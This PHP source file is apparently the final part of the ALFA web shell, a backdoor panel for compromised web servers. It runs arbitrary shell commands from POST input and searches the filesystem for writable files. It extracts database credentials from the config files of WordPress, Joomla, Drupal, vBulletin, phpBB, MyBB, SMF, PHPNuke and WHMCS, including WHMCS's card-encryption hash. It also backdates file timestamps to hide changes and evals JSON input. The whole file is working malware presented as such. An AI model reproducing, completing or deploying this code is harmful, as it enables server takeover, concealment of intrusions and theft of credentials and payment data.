echo '</div>';
alfafooter();
}
function Alfa_Create_A_Tag($action,$vals){
$nulls = array();
foreach($vals as $key => $val){
echo '<a href=javascript:void(0) onclick="g(\''.$action.'\',';
for($i=1;$i<=$val[1]-1;$i++)$nulls[] = 'null';
$f = implode(',',$nulls);
echo $f.',\''.$val[0].'\');return false;">| '.$key.' | </a>';
unset($nulls);
}
}
function Alfa_Searcher($dir, $ext, $method) {
if(@is_readable($dir)){
if($method == 'all')$ext = '*';
if($method == 'dirs')$ext = '*';
$globFiles = @glob("$dir/*.$ext");
$globDirs  = @glob("$dir/*", GLOB_ONLYDIR);
$blacklist = array();
foreach ($globDirs as $dir) {
if(!@is_readable($dir)||@is_link($dir)) continue;
@Alfa_Searcher($dir, $ext, $method);
}
switch($method){
case "files":
foreach ($globFiles as $file){
if(@is_writable($file)){
echo "$file<br>";
}
}
break;
case "dirs":
foreach ($globFiles as $file){
if(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){
echo dirname($file).'<br>';
$blacklist[] = dirname($file);
}
}
break;
case "all":
foreach ($globFiles as $file){
echo $file.'<br>';
}
break;
}
unset($blacklist);
}
}
function AlfaiFrameCreator($f,$width='100%',$height='600px'){
return('<iframe src="'.__ALFA_DATA_FOLDER__."/".$f.'" width="'.$width.'" height="'.$height.'" frameborder="0"></iframe>');
}
class AlfaCURL {
public $headers;
public $user_agent;
public $compression;
public $cookie_file;
public $proxy;
public $path;
public $ssl = true;
public $curl_status = true;
function __construct($cookies=false,$compression='gzip',$proxy=''){
if(!extension_loaded('curl')){$curl_status = false;return false;}
$this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
$this->user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)';
$this->path = ALFA_TEMPDIR.'/Alfa_cookies.txt';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if($this->cookies)$this->cookie($this->path);
}
function cookie($cookie_file) {
if (_alfa_file_exists($cookie_file,false)) {
$this->cookie_file=$cookie_file;
}else{
@fopen($cookie_file,'w') or die($this->error('The cookie file could not be opened.'));
$this->cookie_file=$cookie_file;
@fclose($this->cookie_file);
}
}
function Send($url,$method="get",$data=""){
if(!$this->curl_status){return false;}
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if($this->ssl){
curl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);
curl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);
}
if($this->cookies){
curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
}
if($this->proxy){
curl_setopt($process, CURLOPT_PROXY, $this->proxy);
}
if($method=='post'){
curl_setopt($process, CURLOPT_POSTFIELDS, $data);
curl_setopt($process, CURLOPT_POST, 1);
curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
}
$return = @curl_exec($process);
curl_close($process);
return $return;
}
function error($error) {
echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
die;
}
}
function getConfigHtml($cms){
$content = '';
$cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF");
$content .= "<form class='getconfig' onSubmit='g(\"GetConfig\",null,this.cms.value,this.path.value,this.getAttribute(\"base_id\"));return false;'><div class='txtfont'>Cms: </div> <select name='cms'style='width:100px;'>";
foreach($cms_array as $key => $val){
$content .= "<option value='{$key}' ".($key==$cms?'selected=selected':'').">{$val}</option>";
}
$content .= "</select> <div class='txtfont'>Path(installed cms/Config): </div> <input type='text' name='path' value='".$_SERVER['DOCUMENT_ROOT']."/' size='30' /> <button class='button'>GetConfig</button>";
$content .= "</form>";
return $content;
}
if (!function_exists('json_encode')){
    function json_encode($a=false){
        if (is_null($a)) return 'null';
        if ($a === false) return 'false';
        if ($a === true) return 'true';
        if (is_scalar($a))
        {
            if (is_float($a))
            {
                return floatval(str_replace(",", ".", strval($a)));
            }

            if (is_string($a))
            {
                static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\b", "\f", '"'), array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\"'));
                return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"';
            }
            else
            return $a;
        }
        $isList = true;
        for ($i = 0, reset($a); $i < count($a); $i++, next($a))
        {
            if (key($a) !== $i)
            {
                $isList = false;
                break;
            }
        }
        $result = array();
        if ($isList)
        {
            foreach ($a as $v) $result[] = json_encode($v);
            return '[' . join(',', $result) . ']';
        }
        else
        {
            foreach ($a as $k => $v) $result[] = json_encode($k).':'.json_encode($v);
            return '{' . join(',', $result) . '}';
        }
    }
}
if ( !function_exists('json_decode') ){
function json_decode($json, $array=true){
    $comment = false;
    $out = '$x=';
    for ($i=0; $i<strlen($json); $i++)
    {
        if (!$comment)
        {
            if ($json[$i] == '{' || $json[$i] == '['){$out .= ' array(';}
            else if ($json[$i] == '}' || $json[$i] == ']'){$out .= ')';}
            else if ($json[$i] == ':'){$out .= '=>';}
            else {$out .= $json[$i];}
        }
        else $out .= $json[$i];
        if ($json[$i] == '"')    $comment = !$comment;
    }
    eval($out . ';');
    return $x;
}
}
function alfaterminalExec(){
	$pwd = "pwd";
	$seperator = ";";
	if($GLOBALS['sys']!='unix'){
		$pwd = "cd";
		$seperator = "&";
	}
	if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."'".$seperator;}
	$current_path = '';
	if(preg_match("/cd[ ]{0,}(.*)[ ]{0,}".$seperator."|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST['alfa1'], $match)){
		if(empty($match[1])){
			$match[1] = $match[2];
		}
		$current_path = alfaEx("cd ".addslashes($match[1]).$seperator.$pwd);
		$current_path = str_replace("\\", "/", $current_path);
	}
	$out = alfaEx($cmd.$_POST['alfa1'], true);
	$out = htmlspecialchars($out);
	echo json_encode(array("output" => convertBash($out), "path" => $current_path));
}
function convertBash($code) {
    $dictionary = array(
        '[01;30m' => '<span style="color:black">',
        '[01;31m' => '<span style="color:red">',
        '[01;32m' => '<span style="color:green">',
        '[01;33m' => '<span style="color:yellow">',
        '[01;34m' => '<span style="color:blue">',
        '[01;35m' => '<span style="color:purple">',
        '[01;36m' => '<span style="color:cyan">',
        '[01;37m' => '<span style="color:white">',
        '[0m'   => '</span>'
    );
    $htmlString = str_replace(array_keys($dictionary), $dictionary, $code);
    return $htmlString;
}
function alfadoActions(){
	$chdir_fals = false;
	if(!@chdir($_POST['c'])){
		$chdir_fals = true;
		$alfa_canruncmd = _alfa_can_runCommand(true,true);
	}
	if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
	if(isset($_POST['alfa2']))$_POST['alfa2'] = rawurldecode($_POST['alfa2']);
	$action = $_POST["alfa3"];
	if($action == "permission"){
		$perms = 0;
		$perm = $_POST["alfa2"];
		for($i=strlen($perm)-1;$i>=0;--$i){
			$perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1));
		}
		if(@chmod($_POST['alfa1'], $perms)){
			echo("done");
		}else{
			echo("no");
		}
		return;
	}
	if($action == "rename" || $action == "move"){
		$alfa1_decoded = $_POST['alfa1'];
		if($chdir_fals){
			$_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"];
		}
		$_POST['alfa1'] = trim($_POST['alfa1']);
		$alfa1_escape = addslashes($_POST["alfa1"]);
		if($_POST["alfa3"] == "rename"){
			$_POST['alfa2'] = basename($_POST['alfa2']);
		}
		if(!empty($_POST['alfa2'])){
			$cmd_rename = false;
			if($chdir_fals&&$alfa_canruncmd){
				if(_alfa_is_writable($_POST['alfa1'])){
					$cmd_rename = true;
					$alfa1_escape = addslashes($alfa1_decoded);
					alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa2'])."'");
				}
			}
			if(!file_exists($_POST['alfa2'])){
				if(@rename($_POST['alfa1'], $_POST['alfa2'])||$cmd_rename){
					echo "done";
				}else{
					echo "no";
				}
			}else{
				echo "no";
			}
		}
	}elseif($action == "copy"){
		if(is_dir($_POST["alfa1"])){
			$dir = str_replace('//', '/', $_POST["alfa1"]);
			$dir = explode('/', $dir);
			if(empty($dir[count($dir) - 1])){
				$name = $dir[count($dir) - 2];
			}else{
				$name = $dir[count($dir) - 1];
			}
		}else{
			$name = basename($_POST["alfa1"]);
		}
		$dir = dirname($_POST["alfa1"]);
		if($dir == "."){
			$dir = $_POST["c"]."/";
		}
		if(is_file($_POST["alfa1"])){
			@copy($_POST["alfa1"], $_POST["alfa2"]);
			echo("done");
		}elseif(is_dir($_POST["alfa1"])){
			if(!is_dir($_POST["alfa2"])){
				mkdir($_POST["alfa2"], 0755, true);
			}
			copy_paste($dir, $name , $_POST["alfa2"] . "/");
			echo("done");
		}
	}elseif($action == "modify"){
		if( !empty($_POST['alfa1']) ) {
			$time = strtotime($_POST['alfa1']);
			if($time){
				$touched = false;
				if($chdir_fals&&$alfa_canruncmd){
					alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa1']))."' '".addslashes($_POST['alfa2'])."'");
					$touched = true;
				}
				if(!@touch($_POST['alfa2'],$time,$time)&&!$touched){
					echo 'no';
				}else{
					echo 'ok';
				}
			} else{
				 echo 'badtime';
			}
		}
	}

}
function alfaget_flags(){
	$flags = array();
	if(function_exists("curl_version")){
		$curl = new AlfaCURL();
		$server_addr = (!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]);
		$flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);
		$flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);
		if(strpos($flag2, "geoplugin") != false){
			$flag = json_decode($flag, true);
			$flag2 = json_decode($flag2, true);
			if(!empty($flag['geoplugin_countryCode'])){
				$flags["server"]["name"] = $flag['geoplugin_countryName'];
				$flags["server"]["code"] = $flag['geoplugin_countryCode'];
			}
			if(!empty($flag2['geoplugin_countryCode'])){
				$flags["client"]["name"] = $flag2['geoplugin_countryName'];
				$flags["client"]["code"] = $flag2['geoplugin_countryCode'];
			}
		}
	}
	echo json_encode($flags);
}
function alfaGetConfig(){
$cms = $_POST['alfa1'];
$path = trim($_POST['alfa2']);
$config = array(
'wp'=>array('file'=>'/wp-config.php',
'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'prefix'=>array("/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/",1)
),
'drupal'=>array('file'=>'/config.php',
'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'prefix'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1)
),
'drupal2'=>array('file'=>'/sites/default/settings.php',
'host'=>array("/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbname'=>array("/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbuser'=>array("/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbpw'=>array("/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'prefix'=>array("/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1)
),
'vb'=>array('file'=>'/includes/config.php',
'host'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")servername(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbuser'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")username(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbname'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")dbname(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbpw'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'prefix'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")tableprefix(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3)
),
'phpnuke'=>array('file'=>'/config.php',
'host'=>array('/dbhost(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbname'=>array('/dbname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbuser'=>array('/dbuname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbpw'=>array('/dbpass(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'prefix'=>array('/prefix(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3)
),
'smf'=>array('file'=>'/Settings.php',
'host'=>array("/db_server(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/db_user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/db_passwd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/db_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'whmcs'=>array('file'=>'/configuration.php',
'host'=>array("/db_host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/db_username(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/db_password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'cc_encryption_hash'=>array("/cc_encryption_hash(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'joomla'=>array('file'=>'/configuration.php',
'host'=>array("/\\\$host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/\\\$db(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/\\\$user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/\\\$password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/\\\$dbprefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'phpbb'=>array('file'=>'/config.php',
'host'=>array("/dbhost(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/dbname(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/dbuser(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/dbpasswd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'mybb'=>array('file'=>'/inc/config.php',
'host'=>array("/config\['database'\]\['hostname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/config\['database'\]\['database'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/config\['database'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/config\['database'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/config\['database'\]\['table_prefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
)
);
if($cms == "drupal"){
	$file = $config[$cms]['file'];
	$file=$path.$file;
	if(@is_file($file)||_alfa_is_dir($file,"-e")){
	}else{
		$cms = 'drupal2';
	}
}
if($cms == "vb"){
	$file = $config[$cms]['file'];
	$file=$path.$file;
	if(@is_file($file)||_alfa_is_dir($file,"-e")){
	}else{
		$path .= '/core';
	}
}
$data = array();
$srch_host = $config[$cms]['host'][0];
$srch_user = $config[$cms]['dbuser'][0];
$srch_name = $config[$cms]['dbname'][0];
$srch_pw = $config[$cms]['dbpw'][0];
$prefix = $config[$cms]['prefix'][0];
$file = $config[$cms]['file'];
$chost = $config[$cms]['host'][1];
$cuser = $config[$cms]['dbuser'][1];
$cname = $config[$cms]['dbname'][1];
$cpw = $config[$cms]['dbpw'][1];
$cprefix = $config[$cms]['prefix'][1];
if(@is_dir($path)||_alfa_is_dir($path)){
$file=$path.$file;
}elseif(@is_file($path)||_alfa_is_dir($path,"-e")){
$file=$path;
}else{
return false;
}
$file = __read_file($file);
if($cms == "drupal2"){
	$file = preg_replace("/\@code(.*?)\@endcode/s", "", $file);
}elseif($cms == "vb"){
	$file = preg_replace("/right of the(.*?)BAD!/s", "", $file);
}
if(preg_match($srch_host, $file, $mach)){
$data['host'] = $mach[$chost];
}
if(preg_match($srch_user, $file, $mach)){
$data['user'] = $mach[$cuser];
}
if(preg_match($srch_name, $file, $mach)){
$data['dbname'] = $mach[$cname];
}
if(preg_match($srch_pw, $file, $mach)){
$data['password'] = $mach[$cpw];
}
if(isset($prefix)){
if(preg_match($prefix, $file, $mach)){
$data['prefix'] = $mach[$cprefix];
}
}
if($cms=='whmcs'){
if(preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)){
$data['cc_encryption_hash'] = $mach[3];
}
}
echo json_encode($data);
}
if(empty($_POST['a']))
if(isset($default_action) && function_exists('alfa' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'FilesMan2';//'FilesMan';
if(!empty($_POST['a']) && function_exists('alfa' . $_POST['a']))
call_user_func('alfa' . $_POST['a']);
exit;
/*
#Persian Gulf For Ever
#skype : sole.sad
#skype : ehsan.invisible
*/
?>